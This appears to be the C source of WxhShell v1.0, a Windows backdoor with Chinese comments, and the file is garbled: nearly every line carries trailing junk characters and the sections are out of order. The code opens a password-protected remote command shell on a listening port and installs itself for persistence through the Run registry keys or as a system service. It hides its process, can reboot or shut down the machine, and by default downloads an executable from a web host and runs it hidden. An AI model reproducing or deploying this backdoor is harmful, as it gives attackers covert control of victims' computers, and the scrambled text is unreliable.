{ {E1^Wn1M
DWORD ExitStatus; dJ{'b'#
DWORD PebBaseAddress; <Lq.J`|+
DWORD AffinityMask; 9\6ZdnEKu,
DWORD BasePriority; FJsg3D*@J
ULONG UniqueProcessId; %w/:mH3FA
ULONG InheritedFromUniqueProcessId; K!!#";Eo
} PROCESS_BASIC_INFORMATION; ;@[ax{ J
If@%^'^ON=
PROCNTQSIP NtQueryInformationProcess; r$!
%i.;~>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \e?w8R.6w^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G`u";w_
$n<X'7@0
HANDLE hProcess; z'Fu} ho
PROCESS_BASIC_INFORMATION pbi; `ItPTSOi
}/%^;@q ;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FK,YVY
if(NULL == hInst ) return 0; uup>WW
(n@&M!a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FWpb5jc)3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6
&MATMR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W
-5wjc
X]Ma:1+
if (!NtQueryInformationProcess) return 0; ItQ3|-^
B%Z ,Xjq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H3BMN}K~
if(!hProcess) return 0; 9M .cTIO{
&8Oy *'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XZpF<7l
%4h$/~
CloseHandle(hProcess); f\vg<lca
3*<~;Z' z4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EwOi` g
if(hProcess==NULL) return 0; >iWw
i'T=
u-X P`
HMODULE hMod; _R|8_#yM
char procName[255]; _/a8X:[(
unsigned long cbNeeded;
tt]ZGn*
2E=vMAS
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); inv 5>OeG
)9$>i5l
CloseHandle(hProcess); .!h`(>+@
"@+r|x
if(strstr(procName,"services")) return 1; // 以服务启动 `bRt_XGPmF
os`#:Ao5
return 0; // 注册表启动 +"SYG
} rY(h }z
J[4IO
// 主模块 >^+c s^jCM
int StartWxhshell(LPSTR lpCmdLine) xw83dQ]}^
{ uI_h__
SOCKET wsl; lEiOE]
BOOL val=TRUE; ]`O??wN
int port=0; w!/se;_H+w
struct sockaddr_in door; .c2Zr|X
ZHOh(
if(wscfg.ws_autoins) Install(); tCP;IU$
D TSK*a `
port=atoi(lpCmdLine); 'wP\VCL2>
a*KJjl?k
if(port<=0) port=wscfg.ws_port; pksF|VS
dfA4OZ&
WSADATA data; c=\H&x3X
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .VfBwTh7q8
OLgW.j:Ag
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [n9X5qG~
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c27\S?\
Jd
door.sin_family = AF_INET; AU/L_hg
door.sin_addr.s_addr = inet_addr("127.0.0.1"); F\hU
V[
door.sin_port = htons(port); b:>t1S Ul
FaE,rzn)iD
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jMB&(r
closesocket(wsl); !&8HA
return 1; xO` O$ie
} #MI4 `FZ
IAa}F!6Q1
if(listen(wsl,2) == INVALID_SOCKET) { e8ZMB$byP
closesocket(wsl); *u`[2xmuYf
return 1; o+.LG($+U
} >$iQDVh!
Wxhshell(wsl); j692M.A
WSACleanup(); xr'gi(.o
DAt Zp%
return 0; |dQ-l !
vB9v8@[I&
} ]2o? Gnn@
zz~AoX7V6
// 以NT服务方式启动 B&k"B?9mL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /qX=rlQ/ n
{ eZ[O:W vk:
DWORD status = 0; |oI]
DWORD specificError = 0xfffffff; $bT<8:g
P% ZCACzV
serviceStatus.dwServiceType = SERVICE_WIN32; ~^pV>>LX|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1{7*0cv$iL
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A5LTgGzaW
serviceStatus.dwWin32ExitCode = 0; :")iS?l
serviceStatus.dwServiceSpecificExitCode = 0; 4!
V--F
serviceStatus.dwCheckPoint = 0; u!WjG@
serviceStatus.dwWaitHint = 0; Yr9!</;T
{E+o+2L
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !XJS"o wr
if (hServiceStatusHandle==0) return; b )mU9
\gjYh2>
status = GetLastError(); 0($ O1j~$
if (status!=NO_ERROR) y7)$~R):-
{ w-M,@[G
serviceStatus.dwCurrentState = SERVICE_STOPPED; z&r@c-l@
serviceStatus.dwCheckPoint = 0; ES&"zjr$
serviceStatus.dwWaitHint = 0; *D$[@-7
serviceStatus.dwWin32ExitCode = status; S>s{t=AY~
serviceStatus.dwServiceSpecificExitCode = specificError; JVgV,4 1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BYBf`F)4
return; y.'5*08S0
} %qf ?_2v
W8R"X~!V
serviceStatus.dwCurrentState = SERVICE_RUNNING; +)eI8o0#
serviceStatus.dwCheckPoint = 0; P,/=c(5\}
serviceStatus.dwWaitHint = 0; )FnJLd
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y^~Dr|5%
} )k}UjU`!
P5^<c\Mr,Y
// 处理NT服务事件,比如:启动、停止 C0$KpUB
VOID WINAPI NTServiceHandler(DWORD fdwControl)
*[^[!'kT&
{ hLf<-NM
switch(fdwControl) 7P$>T
{ G
uLU7a
case SERVICE_CONTROL_STOP: `78:TU~5S
serviceStatus.dwWin32ExitCode = 0; L]C|&KP
serviceStatus.dwCurrentState = SERVICE_STOPPED;
|wFfVDp
serviceStatus.dwCheckPoint = 0; WG0Ne;Ho
serviceStatus.dwWaitHint = 0; ev_4!+ko
{ /T_@rm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (dh{Gk4=+
} {!`0i
return; vdLBf+Zi
case SERVICE_CONTROL_PAUSE: o2C{V1nB
serviceStatus.dwCurrentState = SERVICE_PAUSED; sAG#M\A6
break; )Kw
Gb&l&
case SERVICE_CONTROL_CONTINUE: LyB &u()
serviceStatus.dwCurrentState = SERVICE_RUNNING; AQH\ ;L
break; .0b$mSV[
case SERVICE_CONTROL_INTERROGATE: dq&N;kk
|
break; ^t'mfG|DV
}; ogrh"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PfRe)JuB
} "ApVgNB
8IX,q
// 标准应用程序主函数 xy$agt>j>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ki DL]2
{ XpLK0YI
r#xq 8H=_m
// 获取操作系统版本 cU^Z=B
OsIsNt=GetOsVer(); L&WhX3$u
GetModuleFileName(NULL,ExeFile,MAX_PATH); p*_^JU(<p
ksB-fOv*N
// 从命令行安装 ?'dsiA[
if(strpbrk(lpCmdLine,"iI")) Install(); )ZcwG(o0
9Rg|o CP_
// 下载执行文件 XsVp7zk\
if(wscfg.ws_downexe) { cR0OJ'w
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ph;ds+b
WinExec(wscfg.ws_filenam,SW_HIDE); b;X|[tB
} o'8`>rb
TNHkHR[&
if(!OsIsNt) { iksd^\]f
// 如果时win9x,隐藏进程并且设置为注册表启动 AP8YY8,
HideProc(); X4"D Lt"
StartWxhshell(lpCmdLine); sr+Y"R
} 4*K~6Vh
else 5w#
Ceg9
if(StartFromService()) 2tq~NA\#t
// 以服务方式启动 Kn!n}GtR
StartServiceCtrlDispatcher(DispatchTable); 8 )W{C>
else ?%RN? O(
// 普通方式启动 VX!UT=;
StartWxhshell(lpCmdLine); NR*s7>
.D~ZE94@
return 0; U{+<c [
} /i${ [1
p%8v+9+h2
tocZO
y$f{P:!"{3
=========================================== xMdbS4 &!
(H\)BS7#R
S8{S b>
Aw38Tw
L1'#wH
^+hqGu]M
" U=<d;2N#
X~`<ik{q
#include <stdio.h> *Z+8L*k97
#include <string.h> jI-\~
#include <windows.h> ]Ywj@-*q
#include <winsock2.h> SP,#KyWP0)
#include <winsvc.h> UY)e6 Zd
#include <urlmon.h> 9&>)4HNd?
^,?dk![1Cv
#pragma comment (lib, "Ws2_32.lib") =sR]/XSK
#pragma comment (lib, "urlmon.lib") QL<uQ`>(
&g{b5x{iD
#define MAX_USER 100 // 最大客户端连接数 Q9UBxpDV:
#define BUF_SOCK 200 // sock buffer -W^jmwM
#define KEY_BUFF 255 // 输入 buffer Y'75DE<BC
x2^Yvgc-
#define REBOOT 0 // 重启 Guc~]
B
#define SHUTDOWN 1 // 关机 3(Y#*f|
*5\k1-$
#define DEF_PORT 5000 // 监听端口 z2Pnni7Ys
\5]${vs&s
#define REG_LEN 16 // 注册表键长度 MS Ml
#define SVC_LEN 80 // NT服务名长度 ?\
qfuA9.
'q#$^='o
// 从dll定义API 1nt VM+
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cVg!"
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `eF&|3!IYQ
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4z_ >CiA
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "I)*W8wTn
dKOW5\H'
// wxhshell配置信息 ^^ Q'AE
struct WSCFG { \Kx@?,
int ws_port; // 监听端口 &I&:
char ws_passstr[REG_LEN]; // 口令 Ac0^`
int ws_autoins; // 安装标记, 1=yes 0=no 9rB,7%@EL
char ws_regname[REG_LEN]; // 注册表键名 DP(JsZ}
char ws_svcname[REG_LEN]; // 服务名 !L+4YA
char ws_svcdisp[SVC_LEN]; // 服务显示名 Z/|oCwR
char ws_svcdesc[SVC_LEN]; // 服务描述信息 M!{;:m28X!
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O3?3XB> <
int ws_downexe; // 下载执行标记, 1=yes 0=no hU:M]O0uw
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9^;)~ G
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \Bg;^6U
),G?f {`!
}; 5pOb;ry")`
q,ry3Nr4n
// default Wxhshell configuration k63]Qf=5?N
struct WSCFG wscfg={DEF_PORT, +w(sDH~kd
"xuhuanlingzhe", jLANv{"
1, w3l+BUn:X
"Wxhshell", P4M*vZq)
"Wxhshell", 3$.R=MQ7
"WxhShell Service", cGevFlnh
"Wrsky Windows CmdShell Service", *r
b/BZX{
"Please Input Your Password: ", x6, #Jp
1, /EN3>25"#
"http://www.wrsky.com/wxhshell.exe", *1}UK9X;
"Wxhshell.exe" O#}'QZd'
}; i; 8""A
-P+@n)?T6
// 消息定义模块 Ca SoR |
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ya#,\;dTT
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6' 9ITA
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yFIB/ln:
char *msg_ws_ext="\n\rExit."; ?,_$;g
char *msg_ws_end="\n\rQuit.";
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char *msg_ws_boot="\n\rReboot..."; 8{m5P8w'
char *msg_ws_poff="\n\rShutdown..."; X=:|v<E
char *msg_ws_down="\n\rSave to "; xKilTh_.6
?!N@%R>5rN
char *msg_ws_err="\n\rErr!"; hdi/ k!9[\
char *msg_ws_ok="\n\rOK!"; d"E@e21
6;LM1
_
char ExeFile[MAX_PATH]; l3d^V&Sk
int nUser = 0; `}b#O}z)^
HANDLE handles[MAX_USER]; m&GxLT6
int OsIsNt; %gF; A*
>)/,5VSE
SERVICE_STATUS serviceStatus; Orb('Z,-3
SERVICE_STATUS_HANDLE hServiceStatusHandle; 2D5S%27,
WUVRwJ 5
// 函数声明 5h"moh9tG
int Install(void); : ryE`EhB
int Uninstall(void); -Y*"!8
int DownloadFile(char *sURL, SOCKET wsh); iIOA5 4!o
int Boot(int flag); &"D *
void HideProc(void); ]h(}%fk_
int GetOsVer(void); T-0[P;
int Wxhshell(SOCKET wsl); + _=&7
void TalkWithClient(void *cs); $ekB+
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int CmdShell(SOCKET sock); Lo'P;Sb4<}
int StartFromService(void); =}:9y6QR.
int StartWxhshell(LPSTR lpCmdLine); Y9b|lP7!
ZnX]Q+w
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *W'F6Hpu
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a3&&7n
2"31k2H[
// 数据结构和表定义 q/
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SERVICE_TABLE_ENTRY DispatchTable[] = z9@Tg=#i
{ $1QQidB
{wscfg.ws_svcname, NTServiceMain}, `MMh"# xN
{NULL, NULL} @yBg)1AL
}; &3
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// 自我安装
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int Install(void) *O>OHX
{ n:hHm,
char svExeFile[MAX_PATH]; a?LrSk`
HKEY key; byj}36LN62
strcpy(svExeFile,ExeFile); JGP<'6"L$
NVEjUt/
// 如果是win9x系统,修改注册表设为自启动 '=|2, H]
if(!OsIsNt) { =B}a +0u!
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #WBlEVx;Z
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _JlbVe[<
RegCloseKey(key); @a AR99 M
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'A0.(a5
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k4|9'V&1*6
RegCloseKey(key); vqq7IV)|
return 0; 6mP
s;I
} kB|jN~
} 111s%
} XIM!]
else { 5XSr K
U@W3x@
// 如果是NT以上系统,安装为系统服务 ~9&